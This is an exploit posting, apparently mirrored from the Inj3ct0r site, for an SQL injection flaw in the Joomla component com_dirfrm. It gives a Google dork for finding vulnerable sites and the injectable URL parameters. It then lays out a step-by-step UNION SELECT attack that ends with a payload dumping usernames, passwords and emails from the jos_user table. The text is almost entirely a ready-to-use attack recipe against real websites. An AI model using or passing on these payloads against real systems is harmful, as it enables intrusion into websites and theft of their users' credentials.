Home / os / win7

Joomla Component com_dirfrm Sql Injection Vulnerability

Posted on 18 August 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Joomla Component com_dirfrm Sql Injection Vulnerability</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>======================================================= Joomla Component com_dirfrm Sql Injection Vulnerability ======================================================= # Author : Hieuneo (Vietnam) # Version : All Versions # Tested on : Win 7 Home ############################################### Dork google: inurl:&quot;com_dirfrm&quot; ############################################### Exploit: http://site.com/path/index.php?option=com_dirfrm&amp;task=listAll&amp;catid=[SQL Injection]&amp;id=8&amp;Itemid=32 or http://site.com/path/index.php?option=com_dirfrm&amp;task=listAll&amp;catid=1&amp;id=[SQL Injection]&amp;Itemid=32 ############################################### [SQL Injection]: -&gt; Step1: - order by n--- False - order by n+1-- True -&gt; Step2:null Union select 1,2,3,4,...,n+1-- Eg: http://site.com/path/index.php?option=com_dirfrm&amp;task=listAll&amp;catid=1&amp;id=null union select 1,2,3,4,5,6,7,8,9,10--&amp;Itemid=32 -&gt; Step3: replace display number on website version(), user(), database #if version SQL &gt;=5 : try exploit with table system: ___table_name from information_scheama.tables where table_schema=database()-- ___column_name form information_schema.columns where table_name=Char(name table) #if version SQL &lt;5: try exploit with blind SQL, blind table_name and column_name -&gt; Step 4: collecting information null union select 1,2,3,concat_ws(0x7c,username,password,email) from jos_user-- Done! #############Hieuneo@VBF################ -- Hieuneo # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-08-18]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP